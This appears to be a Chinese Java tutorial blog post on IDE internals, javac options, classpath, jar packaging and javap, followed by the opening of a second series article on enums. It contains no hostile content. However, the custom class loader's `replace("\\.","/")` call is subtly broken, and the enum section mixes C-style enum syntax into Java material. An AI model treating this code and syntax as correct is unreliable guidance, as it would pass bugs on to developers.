IDE是把双刃剑,它可以什么都帮你做了,你只要敲几行代码,点几下鼠标,程序就跑起来了,用起来相当方便。
你不用去关心它后面做了些什么,执行了哪些命令,基于什么原理。然而也是这种过分的依赖往往让人散失了最基本的技能,当到了一个没有IDE的地方,你便觉得无从下手,给你个代码都不知道怎么去跑。好比给你瓶水,你不知道怎么打开去喝,然后活活给渴死。
之前用惯了idea,Java文件编译运行的命令基本忘得一干二净。
那好,不如咱们先来了解一下IDE的实现原理,这样一来,即使离开IDE,我们还是知道如何运行Java程序了。
像Eclipse等java IDE是怎么编译和查找java源代码的呢?
源代码保存
这个无需多说,在编译器写入代码,并保存到文件。这个利用流来实现。
编译为class文件
java提供了JavaCompiler,我们可以通过它来编译java源文件为class文件。
查找class
可以通过Class.forName(fullClassPath)或自定义类加载器来实现。
生成对象,并调用对象方法
通过上面一个查找class,得到Class对象后,可以通过newInstance()或构造器的newInstance()得到对象。然后得到Method,最后调用方法,传入相关参数即可。
示例代码:
public class MyIDE {
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException {
// 定义java代码,并保存到文件(Test.java)
StringBuilder sb = new StringBuilder();
sb.append("package com.tommy.core.test.reflect;\n");
sb.append("public class Test {\n");
sb.append(" private String name;\n");
sb.append(" public Test(String name){\n");
sb.append(" this.name = name;\n");
sb.append(" System.out.println(\"hello,my name is \" + name);\n");
sb.append(" }\n");
sb.append(" public String sayHello(String name) {\n");
sb.append(" return \"hello,\" + name;\n");
sb.append(" }\n");
sb.append("}\n");
System.out.println(sb.toString());
String baseOutputDir = "F:\\output\\classes\\";
String baseDir = baseOutputDir + "com\\tommy\\core\\test\\reflect\\";
String targetJavaOutputPath = baseDir + "Test.java";
// 保存为java文件
FileWriter fileWriter = new FileWriter(targetJavaOutputPath);
fileWriter.write(sb.toString());
fileWriter.flush();
fileWriter.close();
// 编译为class文件
JavaCompiler compiler = ToolProvider.getSystemJavaCompiler();
StandardJavaFileManager manager = compiler.getStandardFileManager(null,null,null);
List<File> files = new ArrayList<>();
files.add(new File(targetJavaOutputPath));
Iterable compilationUnits = manager.getJavaFileObjectsFromFiles(files);
// 编译
// 设置编译选项,配置class文件输出路径
Iterable<String> options = Arrays.asList("-d",baseOutputDir);
JavaCompiler.CompilationTask task = compiler.getTask(null, manager, null, options, null, compilationUnits);
// 执行编译任务
task.call();
// 通过反射得到对象
// Class clazz = Class.forName("com.tommy.core.test.reflect.Test");
// 使用自定义的类加载器加载class
Class clazz = new MyClassLoader(baseOutputDir).loadClass("com.tommy.core.test.reflect.Test");
// 得到构造器
Constructor constructor = clazz.getConstructor(String.class);
// 通过构造器new一个对象
Object test = constructor.newInstance("jack.tsing");
// 得到sayHello方法
Method method = clazz.getMethod("sayHello", String.class);
// 调用sayHello方法
String result = (String) method.invoke(test, "jack.ma");
System.out.println(result);
}
}
自定义类加载器代码:
public class MyClassLoader extends ClassLoader {
private String baseDir;
public MyClassLoader(String baseDir) {
this.baseDir = baseDir;
}
@Override
protected Class<?> findClass(String name) throws ClassNotFoundException {
String fullClassFilePath = this.baseDir + name.replace("\\.","/") + ".class";
File classFilePath = new File(fullClassFilePath);
if (classFilePath.exists()) {
FileInputStream fileInputStream = null;
ByteArrayOutputStream byteArrayOutputStream = null;
try {
fileInputStream = new FileInputStream(classFilePath);
byte[] data = new byte[1024];
int len = -1;
byteArrayOutputStream = new ByteArrayOutputStream();
while ((len = fileInputStream.read(data)) != -1) {
byteArrayOutputStream.write(data,0,len);
}
return defineClass(name,byteArrayOutputStream.toByteArray(),0,byteArrayOutputStream.size());
} catch (FileNotFoundException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
} finally {
if (null != fileInputStream) {
try {
fileInputStream.close();
} catch (IOException e) {
e.printStackTrace();
}
}
if (null != byteArrayOutputStream) {
try {
byteArrayOutputStream.close();
} catch (IOException e) {
e.printStackTrace();
}
}
}
}
return super.findClass(name);
}
}
javac命令初窥
注:以下红色标记的参数在下文中有所讲解。
本部分参考https://www.cnblogs.com/xiazdong/p/3216220.html
用法: javac
其中, 可能的选项包括:
-g 生成所有调试信息
-g:none 不生成任何调试信息
-g:{lines,vars,source} 只生成某些调试信息
-nowarn 不生成任何警告
-verbose 输出有关编译器正在执行的操作的消息
-deprecation 输出使用已过时的 API 的源位置
-classpath <路径> 指定查找用户类文件和注释处理程序的位置
-cp <路径> 指定查找用户类文件和注释处理程序的位置
-sourcepath <路径> 指定查找输入源文件的位置
-bootclasspath <路径> 覆盖引导类文件的位置
-extdirs <目录> 覆盖所安装扩展的位置
-endorseddirs <目录> 覆盖签名的标准路径的位置
-proc:{none,only} 控制是否执行注释处理和/或编译。
-processor [,,...] 要运行的注释处理程序的名称; 绕过默认的搜索进程
-processorpath <路径> 指定查找注释处理程序的位置
-d <目录> 指定放置生成的类文件的位置
-s <目录> 指定放置生成的源文件的位置
-implicit:{none,class} 指定是否为隐式引用文件生成类文件
-encoding <编码> 指定源文件使用的字符编码
-source <发行版> 提供与指定发行版的源兼容性
-target <发行版> 生成特定 VM 版本的类文件
-version 版本信息
-help 输出标准选项的提要
-A关键字[=值] 传递给注释处理程序的选项
-X 输出非标准选项的提要
-J<标记> 直接将 <标记> 传递给运行时系统
-Werror 出现警告时终止编译
@<文件名> 从文件读取选项和文件名
在详细介绍javac命令之前,先看看这个classpath是什么
classpath是什么
在dos下编译java程序,就要用到classpath这个概念,尤其是在没有设置环境变量的时候。classpath就是存放.class等编译后文件的路径。
javac:如果当前你要编译的java文件中引用了其它的类(比如说:继承),但该引用类的.class文件不在当前目录下,这种情况下就需要在javac命令后面加上-classpath参数,通过使用以下三种类型的方法 来指导编译器在编译的时候去指定的路径下查找引用类。
(1).绝对路径:javac -classpath c:/junit3.8.1/junit.jar Xxx.java
(2).相对路径:javac -classpath ../junit3.8.1/Junit.javr Xxx.java
(3).系统变量:javac -classpath %CLASSPATH% Xxx.java (注意:%CLASSPATH%表示使用系统变量CLASSPATH的值进行查找,这里假设Junit.jar的路径就包含在CLASSPATH系统变量中)
IDE中的classpath
对于一个普通的Javaweb项目,一般有这样的配置:
1 WEB-INF/classes,lib才是classpath,WEB-INF/ 是资源目录, 客户端不能直接访问。
2、WEB-INF/classes目录存放src目录java文件编译之后的class文件,xml、properties等资源配置文件,这是一个定位资源的入口。
3、引用classpath路径下的文件,只需在文件名前加classpath:
classpath:applicationContext-*.xmlclasspath:context/conf/controller.xml
4、lib和classes同属classpath,两者的访问优先级为: lib>classes。
5、classpath 和 classpath* 区别:
classpath:只会到你的class路径中查找找文件;classpath*:不仅包含class路径,还包括jar文件中(class路径)进行查找。
总结:
(1).何时需要使用-classpath:当你要编译或执行的类引用了其它的类,但被引用类的.class文件不在当前目录下时,就需要通过-classpath来引入类
(2).何时需要指定路径:当你要编译的类所在的目录和你执行javac命令的目录不是同一个目录时,就需要指定源文件的路径(CLASSPATH是用来指定.class路径的,不是用来指定.java文件的路径的)
Java项目和Java web项目的本质区别
(看清IDE及classpath本质)
现在只是说说Java Project和Web Project,那么二者有区别么?回答:没有!都是Java语言的应用,只是应用场合不同罢了,那么他们的本质到底是什么?
回答:编译后路径!虚拟机执行的是class文件而不是java文件,那么我们不管是何种项目都是写的java文件,怎么就不一样了呢?分成java和web两种了呢?
从.classpath文件入手来看,这个文件在每个项目目录下都是存在的,很少有人打开看吧,那么我们就来一起看吧。这是一个XML文件,使用文本编辑器打开即可。
这里展示一个web项目的.classpath
Xml代码
<?xml version="1.0" encoding="UTF-8"?>
<classpath>
<classpathentry kind="src" path="src"/>
<classpathentry kind="src" path="resources"/>
<classpathentry kind="src" path="test"/>
<classpathentry kind="con" path="org.eclipse.jdt.launching.JRE_CONTAINER"/>
<classpathentry kind="lib" path="lib/servlet-api.jar"/>
<classpathentry kind="lib" path="webapp/WEB-INF/lib/struts2-core-2.1.8.1.jar"/>
……
<classpathentry kind="output" path="webapp/WEB-INF/classes"/>
</classpath>
XML文档包含一个根元素,就是classpath,类路径,那么这里面包含了什么信息呢?子元素是classpathentry,kind属性区别了种 类信息,src源码,con你看看后面的path就知道是JRE容器的信息。lib是项目依赖的第三方类库,output是src编译后的位置。
既然是web项目,那么就是WEB-INF/classes目录,可能用MyEclipse的同学会说他们那里是WebRoot或者是WebContext而不是webapp,有区别么?回答:完全没有!
既然看到了编译路径的本来面目后,还区分什么java项目和web项目么?回答:不区分!普通的java 项目你这样写就行了:,看看Eclipse是不是这样生成的?这个问题解决了吧。
再说说webapp目录命名的问题,这个无所谓啊,web项目是要发布到服务器上的对吧,那么服务器读取的是类文件和页面文件吧,它不管源文件,它也无法去理解源文件。那么webapp目录的命名有何关系呢?只要让服务器找到不就行了。
-g、-g:none、-g:{lines,vars,source}
•-g:在生成的class文件中包含所有调试信息(行号、变量、源文件)•-g:none :在生成的class文件中不包含任何调试信息。
这个参数在javac编译中是看不到什么作用的,因为调试信息都在class文件中,而我们看不懂这个class文件。
为了看出这个参数的作用,我们在eclipse中进行实验。在eclipse中,我们经常做的事就是“debug”,而在debug的时候,我们会•加入“断点”,这个是靠-g:lines起作用,如果不记录行号,则不能加断点。•在“variables”窗口中查看当前的变量,如下图所示,这是靠-g:vars起作用,否则不能查看变量信息。•在多个文件之间来回调用,比如 A.java的main()方法中调用了B.java的fun()函数,而我想看看程序进入fun()后的状态,这是靠-g:source,如果没有这个参数,则不能查看B.java的源代码。
-bootclasspath、-extdirs
-bootclasspath和-extdirs 几乎不需要用的,因为他是用来改变 “引导类”和“扩展类”。•引导类(组成Java平台的类):Javajdk1.7.0_25jrelibrt.jar等,用-bootclasspath设置。•扩展类:Javajdk1.7.0_25jrelibext目录中的文件,用-extdirs设置。•用户自定义类:用-classpath设置。
我们用-verbose编译后出现的“类文件的搜索路径”,就是由上面三个路径组成,如下:
[类文件的搜索路径: C:\Java\jdk1.7.0_25\jre\lib\resources.jar,C:\Java\jdk1.7.0_25
\jre\lib\rt.jar,C:\Java\jdk1.7.0_25\jre\lib\sunrsasign.jar,C:\Java\jdk1.7.0_25\j
re\lib\jsse.jar,C:\Java\jdk1.7.0_25\jre\lib\jce.jar,C:\Java\jdk1.7.0_25\jre\lib\
charsets.jar,C:\Java\jdk1.7.0_25\jre\lib\jfr.jar,C:\Java\jdk1.7.0_25\jre\classes
,C:\Java\jdk1.7.0_25\jre\lib\ext\access-bridge-32.jar,C:\Java\jdk1.7.0_25\jre\li
b\ext\dnsns.jar,C:\Java\jdk1.7.0_25\jre\lib\ext\jaccess.jar,C:\Java\jdk1.7.0_25\
jre\lib\ext\localedata.jar,C:\Java\jdk1.7.0_25\jre\lib\ext\sunec.jar,C:\Java\jdk
1.7.0_25\jre\lib\ext\sunjce_provider.jar,C:\Java\jdk1.7.0_25\jre\lib\ext\sunmsca
pi.jar,C:\Java\jdk1.7.0_25\jre\lib\ext\sunpkcs11.jar,C:\Java\jdk1.7.0_25\jre\lib
\ext\zipfs.jar,..\bin]
如果利用 -bootclasspath 重新定义: javac -bootclasspath src Xxx.java,则会出现下面错误:
致命错误: 在类路径或引导类路径中找不到程序包 java.lang
-sourcepath和-classpath(-cp)
•-classpath(-cp)指定你依赖的类的class文件的查找位置。在Linux中,用“:”分隔classpath,而在windows中,用“;”分隔。•-sourcepath指定你依赖的类的java文件的查找位置。
举个例子,
public class A
{
public static void main(String[] args) {
B b = new B();
b.print();
}
}
public class B
{
public void print()
{
System.out.println("old");
}
}
目录结构如下:
sourcepath //此处为当前目录
|-src
|-com
|- B.java
|- A.java
|-bin
|- B.class //是 B.java
编译后的类文件
如果要编译 A.java,则必须要让编译器找到类B的位置,你可以指定B.class的位置,也可以是B.java的位置,也可以同时都存在。
javac -classpath bin src/A.java //查找到B.class
javac -sourcepath src/com src/A.java //查找到B.java
javac -sourcepath src/com -classpath bin src/A.java //同时查找到B.class和B.java
如果同时找到了B.class和B.java,则:•如果B.class和B.java内容一致,则遵循B.class。•如果B.class和B.java内容不一致,则遵循B.java,并编译B.java。
以上规则可以通过 -verbose选项看出。
-d
•d就是 destination,用于指定.class文件的生成目录,在eclipse中,源文件都在src中,编译的class文件都是在bin目录中。
这里我用来实现一下这个功能,假设项目名称为project,此目录为当前目录,且在src/com目录中有一个Main.java文件。‘
package com;
public class Main
{
public static void main(String[] args) {
System.out.println("Hello");
}
}
javac -d bin src/com/Main.java
上面的语句将Main.class生成在bin/com目录下。
-implicit:{none,class}
•如果有文件为A.java(其中有类A),且在类A中使用了类B,类B在B.java中,则编译A.java时,默认会自动编译B.java,且生成B.class。•implicit:none:不自动生成隐式引用的类文件。•implicit:class(默认):自动生成隐式引用的类文件。
public class A
{
public static void main(String[] args) {
B b = new B();
}
}
public class B
{
}
如果使用:
javac -implicit:none A.java
则不会生成 B.class。
-source和-target
•-source:使用指定版本的JDK编译,比如:-source 1.4表示用JDK1.4的标准编译,如果在源文件中使用了泛型,则用JDK1.4是不能编译通过的。•-target:指定生成的class文件要运行在哪个JVM版本,以后实际运行的JVM版本必须要高于这个指定的版本。
javac -source 1.4 Xxx.java
javac -target 1.4 Xxx.java
-encoding
默认会使用系统环境的编码,比如我们一般用的中文windows就是GBK编码,所以直接javac时会用GBK编码,而Java文件一般要使用utf-8,如果用GBK就会出现乱码。
•指定源文件的编码格式,如果源文件是UTF-8编码的,而-encoding GBK,则源文件就变成了乱码(特别是有中文时)。
javac -encoding UTF-8 Xxx.java
-verbose
输出详细的编译信息,包括:classpath、加载的类文件信息。
比如,我写了一个最简单的HelloWorld程序,在命令行中输入:
D:Java>javac -verbose -encoding UTF-8 HelloWorld01.java
输出:
[语法分析开始时间 RegularFileObject[HelloWorld01.java]]
[语法分析已完成, 用时 21 毫秒]
[源文件的搜索路径: .,D:\大三下\编译原理\cup\java-cup-11a.jar,E:\java\jflex\lib\J //-sourcepath
Flex.jar]
[类文件的搜索路径: C:\Java\jdk1.7.0_25\jre\lib\resources.jar,C:\Java\jdk1.7.0_25 //-classpath、-bootclasspath、-extdirs
省略............................................
[正在加载ZipFileIndexFileObject[C:\Java\jdk1.7.0_25\lib\ct.sym(META-INF/sym/rt.j
ar/java/lang/Object.class)]]
[正在加载ZipFileIndexFileObject[C:\Java\jdk1.7.0_25\lib\ct.sym(META-INF/sym/rt.j
ar/java/lang/String.class)]]
[正在检查Demo]
省略............................................
[已写入RegularFileObject[Demo.class]]
[共 447 毫秒]
编写一个程序时,比如写了一句:System.out.println("hello"),实际上还需要加载:Object、PrintStream、String等类文件,而上面就显示了加载的全部类文件。
其他命令
-J <标记>•传递一些信息给 Java Launcher.
javac -J-Xms48m Xxx.java //set the startup memory to 48M.
-@<文件名>
如果同时需要编译数量较多的源文件(比如1000个),一个一个编译是不现实的(当然你可以直接 javac *.java ),比较好的方法是:将你想要编译的源文件名都写在一个文件中(比如sourcefiles.txt),其中每行写一个文件名,如下所示:
HelloWorld01.javaHelloWorld02.javaHelloWorld03.java
则使用下面的命令:
javac @sourcefiles.txt
编译这三个源文件。
使用javac构建项目
这部分参考:https://blog.csdn.net/mingover/article/details/57083176
一个简单的javac编译
新建两个文件夹,src和 build src/com/yp/test/HelloWorld.java build/
├─build
└─src
└─com
└─yp
└─test
HelloWorld.java
java文件非常简单
package com.yp.test;
public class HelloWorld {
public static void main(String[] args) {
System.out.println("helloWorld");
}
}
编译:javac src/com/yp/test/HelloWorld.java -d build
-d 表示编译到 build文件夹下
查看build文件夹
├─build
│ └─com
│ └─yp
│ └─test
│ HelloWorld.class
│
└─src
└─com
└─yp
└─test
HelloWorld.java
运行文件
E:codeplacen_learnjavajavacmd> java com/yp/test/HelloWorld.class错误: 找不到或无法加载主类 build.com.yp.test.HelloWorld.class
运行时要指定mainE:codeplacen_learnjavajavacmdbuild> java com.yp.test.HelloWorldhelloWorld
如果引用到多个其他的类,应该怎么做呢 ?
编译
E:codeplacen_learnjavajavacmd>javac src/com/yp/test/HelloWorld.java -sourcepath src -d build -g1-sourcepath 表示 从指定的源文件目录中找到需要的.java文件并进行编译。也可以用-cp指定编译好的class的路径运行,注意:运行在build目录下
E:codeplacen_learnjavajavacmdbuild>java com.yp.test.HelloWorld
怎么打成jar包?
生成:E:codeplacen_learnjavajavacmdbuild>jar cvf h.jar *运行:E:codeplacen_learnjavajavacmdbuild>java h.jar错误: 找不到或无法加载主类 h.jar
这个错误是没有指定main类,所以类似这样来指定:E:codeplacen_learnjavajavacmdbuild>java -cp h.jar com.yp.test.HelloWorld
生成可以运行的jar包
需要指定jar包的应用程序入口点,用-e选项:
E:\codeplace\n_learn\java\javacmd\build> jar cvfe h.jar com.yp.test.HelloWorld *
已添加清单
正在添加: com/(输入 = 0) (输出 = 0)(存储了 0%)
正在添加: com/yp/(输入 = 0) (输出 = 0)(存储了 0%)
正在添加: com/yp/test/(输入 = 0) (输出 = 0)(存储了 0%)
正在添加: com/yp/test/entity/(输入 = 0) (输出 = 0)(存储了 0%)
正在添加: com/yp/test/entity/Cat.class(输入 = 545) (输出 = 319)(压缩了 41%)
正在添加: com/yp/test/HelloWorld.class(输入 = 844) (输出 = 487)(压缩了 42%)
直接运行
java -jar h.jar
额外发现
指定了Main类后,jar包里面的 META-INF/MANIFEST.MF 是这样的, 比原来多了一行Main-Class….
Manifest-Version: 1.0
Created-By: 1.8.0 (Oracle Corporation)
Main-Class: com.yp.test.HelloWorld
如果类里有引用jar包呢?
先下一个jar包 这里直接下 log4j
* main函数改成
import com.yp.test.entity.Cat;
import org.apache.log4j.Logger;
public class HelloWorld {
static Logger log = Logger.getLogger(HelloWorld.class);
public static void main(String[] args) {
Cat c = new Cat("keyboard");
log.info("这是log4j");
System.out.println("hello," + c.getName());
}
}
现的文件是这样的
├─build
├─lib
│ log4j-1.2.17.jar
│
└─src
└─com
└─yp
└─test
│ HelloWorld.java
│
└─entity
Cat.java
这个时候 javac命令要接上 -cp ./lib/*.jar
E:\codeplace\n_learn\java\javacmd>javac -encoding "utf8" src/com/yp/test/HelloWorld.java -sourcepath src -d build -g -cp ./lib/*.jar
运行要加上-cp, -cp 选项貌似会把工作目录给换了, 所以要加上 ;../build
E:\codeplace\n_learn\java\javacmd\build>java -cp ../lib/log4j-1.2.17.jar;../build com.yp.test.HelloWorld
结果:
log4j:WARN No appenders could be found for logger(com.yp.test.HelloWorld).
log4j:WARN Please initialize the log4j system properly.
log4j:WARN See http://logging.apache.org/log4j/1.2/faq.html#noconfig for more info.
hello,keyboard
由于没有 log4j的配置文件,所以提示上面的问题,往 build 里面加上 log4j.xml
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE log4j:configuration SYSTEM "log4j.dtd">
<log4j:configuration xmlns:log4j='http://jakarta.apache.org/log4j/'>
<appender name="stdout" class="org.apache.log4j.ConsoleAppender">
<layout class="org.apache.log4j.PatternLayout">
<param name="ConversionPattern" value="%d{ABSOLUTE} %-5p [%c{1}] %m%n" />
</layout>
</appender>
<root>
<level value="info" />
<appender-ref ref="stdout" />
</root>
</log4j:configuration>
再运行
E:\codeplace\n_learn\java\javacmd>java -cp lib/log4j-1.2.17.jar;build com.yp.tes t.HelloWorld
15:19:57,359 INFO [HelloWorld] 这是log4j
hello,keyboard
说明: 这个log4j配置文件,习惯的做法是放在src目录下, 在编译过程中 copy到build中的,但根据ant的做法,不是用javac的,而是用来处理,我猜测javac是不能copy的,如果想在命令行直接 使用,应该是用cp命令主动去执行 copy操作
ok 一个简单的java 工程就运行完了但是 貌似有些繁琐, 需要手动键入 java文件 以及相应的jar包 很是麻烦,so 可以用 shell 来脚本来简化相关操作 shell 文件整理如下:
#!/bin/bash
echo "build start"
JAR_PATH=libs
BIN_PATH=bin
SRC_PATH=src
# java文件列表目录
SRC_FILE_LIST_PATH=src/sources.list
#生所有的java文件列表 放入列表文件中
rm -f $SRC_PATH/sources
find $SRC_PATH/ -name *.java > $SRC_FILE_LIST_PATH
#删除旧的编译文件 生成bin目录
rm -rf $BIN_PATH/
mkdir $BIN_PATH/
#生成依赖jar包 列表
for file in ${JAR_PATH}/*.jar;
do
jarfile=${jarfile}:${file}
done
echo "jarfile = "$jarfile
#编译 通过-cp指定所有的引用jar包,将src下的所有java文件进行编译
javac -d $BIN_PATH/ -cp $jarfile @$SRC_FILE_LIST_PATH
#运行 通过-cp指定所有的引用jar包,指定入口函数运行
java -cp $BIN_PATH$jarfile com.zuiapps.danmaku.server.Main
有一点需要注意的是, javac -d $BIN_PATH/ -cp $jarfile @$SRC_FILE_LIST_PATH在要编译的文件很多时候,一个个敲命令会显得很长,也不方便修改,
可以把要编译的源文件列在文件中,在文件名前加@,这样就可以对多个文件进行编译,
以上就是吧java文件放到 $SRC_FILE_LIST_PATH 中去了
编译 :
1. 需要编译所有的java文件
2. 依赖的java 包都需要加入到 classpath 中去
3. 最后设置 编译后的 class 文件存放目录 即 -d bin/
4. java文件过多是可以使用 @$SRC_FILE_LIST_PATH 把他们放到一个文件中去
运行:
1.需要吧 编译时设置的bin目录和 所有jar包加入到 classpath 中去
javap
javap是jdk自带的一个工具,可以对代码反编译,也可以查看java编译器生成的字节码。
情况下,很少有人使用javap对class文件进行反编译,因为有很多成熟的反编译工具可以使用,比如jad。但是,javap还可以查看java编译器为我们生成的字节码。通过它,可以对照源代码和字节码,从而了解很多编译器内部的工作。
javap命令分解一个class文件,它根据options来决定到底输出什么。如果没有使用options,那么javap将会输出包,类里的protected和public域以及类里的所有方法。javap将会把它们输出在标准输出上。来看这个例子,先编译(javac)下面这个类。
import java.awt.*;
import java.applet.*;
public class DocFooter extends Applet {
String date;
String email;
public void init() {
resize(500,100);
date = getParameter("LAST_UPDATED");
email = getParameter("EMAIL");
}
}
在命令行上键入javap DocFooter后,输出结果如下
Compiled from "DocFooter.java"
public class DocFooter extends java.applet.Applet {
java.lang.String date;
java.lang.String email;
public DocFooter();
public void init();
}
如果加入了-c,即javap -c DocFooter,那么输出结果如下
Compiled from "DocFooter.java"
public class DocFooter extends java.applet.Applet {
java.lang.String date;
java.lang.String email;
public DocFooter();
Code:
0: aload_0
1: invokespecial #1 // Method java/applet/Applet."<init>":()V
4: return
public void init();
Code:
0: aload_0
1: sipush 500
4: bipush 100
6: invokevirtual #2 // Method resize:(II)V
9: aload_0
10: aload_0
11: ldc #3 // String LAST_UPDATED
13: invokevirtual #4 // Method getParameter:(Ljava/lang/String;)Ljava/lang/String;
16: putfield #5 // Field date:Ljava/lang/String;
19: aload_0
20: aload_0
21: ldc #6 // String EMAIL
23: invokevirtual #4 // Method getParameter:(Ljava/lang/String;)Ljava/lang/String;
26: putfield #7 // Field email:Ljava/lang/String;
29: return
}
上面输出的内容就是字节码。
用法摘要
-help 帮助-l 输出行和变量的表-public 只输出public方法和域-protected 只输出public和protected类和成员-package 只输出包,public和protected类和成员,这是默认的-p -private 输出所有类和成员-s 输出内部类型签名-c 输出分解后的代码,例如,类中每一个方法内,包含java字节码的指令,-verbose 输出栈大小,方法参数的个数-constants 输出静态final常量总结
javap可以用于反编译和查看编译器编译后的字节码。平时一般用javap -c比较多,该命令用于列出每个方法所执行的JVM指令,并显示每个方法的字节码的实际作用。可以通过字节码和源代码的对比,深入分析java的编译原理,了解和解决各种Java原理级别的问题。
参考文章
https://blog.csdn.net/Anbernet/article/details/81449390
https://www.cnblogs.com/luobiao320/p/7975442.html
https://www.jianshu.com/p/f7330dbdc051
https://www.jianshu.com/p/6a8997560b05
https://blog.csdn.net/w372426096/article/details/81664431
https://blog.csdn.net/qincidong/article/details/82492140
微信公众号
Java技术江湖
如果大家想要实时关注我更新的文章以及分享的干货的话,可以关注我的公众号【Java技术江湖】一位阿里 Java 工程师的技术小站,作者黄小斜,专注 Java 相关技术:SSM、SpringBoot、MySQL、分布式、中间件、集群、Linux、网络、多线程,偶尔讲点Docker、ELK,同时也分享技术干货和学习经验,致力于Java全栈开发!
Java工程师必备学习资源: 一些Java工程师常用学习资源,关注公众号后,后台回复关键字 “Java” 即可免费无套路获取。
个人公众号:黄小斜
作者是 985 硕士,蚂蚁金服 JAVA 工程师,专注于 JAVA 后端技术栈:SpringBoot、MySQL、分布式、中间件、微服务,同时也懂点投资理财,偶尔讲点算法和计算机理论基础,坚持学习和写作,相信终身学习的力量!
程序员3T技术学习资源: 一些程序员学习技术的资源大礼包,关注公众号后,后台回复关键字 “资料” 即可免费无套路获取。
夯实Java基础系列12:深入理解Java中的反射机制
本系列文章将整理到我在GitHub上的《Java面试指南》仓库,更多精彩内容请到我的仓库里查看
https://github.com/h2pl/Java-Tutorial
喜欢的话麻烦点下Star哈
文章首发于我的个人博客:
www.how2playlife.com
枚举(enum)类型是Java 5新增的特性,它是一种新的类型,允许用常量来表示特定的数据片断,而且全部都以类型安全的形式来表示。
## 初探枚举类
在程序设计中,有时会用到由若干个有限数据元素组成的集合,如一周内的星期一到星期日七个数据元素组成的集合,由三种颜色红、黄、绿组成的集合,一个工作班组内十个职工组成的集合等等,程序中某个变量取值仅限于集合中的元素。此时,可将这些数据集合定义为枚举类型。
因此,枚举类型是某类数据可能取值的集合,如一周内星期可能取值的集合为: { Sun,Mon,Tue,Wed,Thu,Fri,Sat} 该集合可定义为描述星期的枚举类型,该枚举类型共有七个元素,因而用枚举类型定义的枚举变量只能取集合中的某一元素值。由于枚举类型是导出数据类型,因此,必须先定义枚举类型,然后再用枚举类型定义枚举型变量。
enum <枚举类型名>
{ <枚举元素表> };
其中:关键词enum表示定义的是枚举类型,枚举类型名由标识符组成,而枚举元素表由枚举元素或枚举常量组成。例如:
enum weekdays
{ Sun,Mon,Tue,Wed,Thu,Fri,Sat };
定义了一个名为 weekdays的枚举类型,它包含七个元素:Sun、Mon、Tue、Wed、Thu、Fri、Sat。
在编译器编译程序时,给枚举类型中的每一个元素指定一个整型常量值(也称为序号值)。若枚举类型定义中没有指定元素的整型常量值,则整型常量值从0开始依次递增,因此,weekdays枚举类型的七个元素Sun、Mon、Tue、Wed、Thu、Fri、Sat对应的整型常量值分别为0、1、2、3、4、5、6。 注意:在定义枚举类型时,也可指定元素对应的整型常量值。
例如,描述逻辑值集合{TRUE、FALSE}的枚举类型boolean可定义如下:
enum boolean
{ TRUE=1 ,FALSE=0 };
该定义规定:TRUE的值为1,而FALSE的值为0。
而描述颜色集合{red,blue,green,black,white,yellow}的枚举类型colors可定义如下:
enum colors
{red=5,blue=1,green,black,white,yellow};
该定义规定red为5 ,blue为1,其后元素值从2 开始递增加1。green、black、white、yellow的值依次为2、3、4、5。
此时,整数5将用于表示二种颜色red与yellow。通常两个不同元素取相同的整数值是没有意义的。枚举类型的定义只是定义了一个新的数据类型,只有用枚举类型定义枚举变量才能使用这种数据类型。
### 枚举类-语法
enum 与 class、interface 具有相同地位;可以继承多个接口;可以拥有构造器、成员方法、成员变量;1.2 枚举类与普通类不同之处
默认继承 java.lang.Enum 类,所以不能继承其他父类;其中 java.lang.Enum 类实现了 java.lang.Serializable 和 java.lang.Comparable 接口;
使用 enum 定义,默认使用 final 修饰,因此不能派生子类;
构造器默认使用 private 修饰,且只能使用 private 修饰;
枚举类所有实例必须在第一行给出,默认添加 public static final 修饰,否则无法产生实例;
枚举类的具体使用
这部分内容参考https://blog.csdn.net/qq_27093465/article/details/52180865
常量
public class 常量 {
}
enum Color {
Red, Green, Blue, Yellow
}
switch
JDK1.6之前的switch语句只支持int,char,enum类型,使用枚举,能让我们的代码可读性更强。
public static void showColor(Color color) {
switch (color) {
case Red:
System.out.println(color);
break;
case Blue:
System.out.println(color);
break;
case Yellow:
System.out.println(color);
break;
case Green:
System.out.println(color);
break;
}
}
向枚举中添加新方法
如果打算自定义自己的方法,那么必须在enum实例序列的最后添加一个分号。而且 Java 要求必须先定义 enum 实例。
enum Color {
//每个颜色都是枚举类的一个实例,并且构造方法要和枚举类的格式相符合。
//如果实例后面有其他内容,实例序列结束时要加分号。
Red("红色", 1), Green("绿色", 2), Blue("蓝色", 3), Yellow("黄色", 4);
String name;
int index;
Color(String name, int index) {
this.name = name;
this.index = index;
}
public void showAllColors() {
//values是Color实例的数组,在通过index和name可以获取对应的值。
for (Color color : Color.values()) {
System.out.println(color.index + ":" + color.name);
}
}
}
覆盖枚举的方法
所有枚举类都继承自Enum类,所以可以重写该类的方法下面给出一个toString()方法覆盖的例子。
@Override
public String toString() {
return this.index + ":" + this.name;
}
实现接口
所有的枚举都继承自java.lang.Enum类。由于Java 不支持多继承,所以枚举对象不能再继承其他类。
enum Color implements Print{
@Override
public void print() {
System.out.println(this.name);
}
}
使用接口组织枚举
搞个实现接口,来组织枚举,简单讲,就是分类吧。如果大量使用枚举的话,这么干,在写代码的时候,就很方便调用啦。
public class 用接口组织枚举 {
public static void main(String[] args) {
Food cf = chineseFood.dumpling;
Food jf = Food.JapaneseFood.fishpiece;
for (Food food : chineseFood.values()) {
System.out.println(food);
}
for (Food food : Food.JapaneseFood.values()) {
System.out.println(food);
}
}
}
interface Food {
enum JapaneseFood implements Food {
suse, fishpiece
}
}
enum chineseFood implements Food {
dumpling, tofu
}
枚举类集合
java.util.EnumSet和java.util.EnumMap是两个枚举集合。EnumSet保证集合中的元素不重复;EnumMap中的 key是enum类型,而value则可以是任意类型。
EnumSet在JDK中没有找到实现类,这里写一个EnumMap的例子
public class 枚举类集合 {
public static void main(String[] args) {
EnumMap<Color, String> map = new EnumMap<Color, String>(Color.class);
map.put(Color.Blue, "Blue");
map.put(Color.Yellow, "Yellow");
map.put(Color.Red, "Red");
System.out.println(map.get(Color.Red));
}
}
使用枚举类的注意事项
枚举类型对象之间的值比较,是可以使用==,直接来比较值,是否相等的,不是必须使用equals方法的哟。
因为枚举类Enum已经重写了equals方法
/**
* Returns true if the specified object is equal to this
* enum constant.
*
* @param other the object to be compared for equality with this object.
* @return true if the specified object is equal to this
* enum constant.
*/
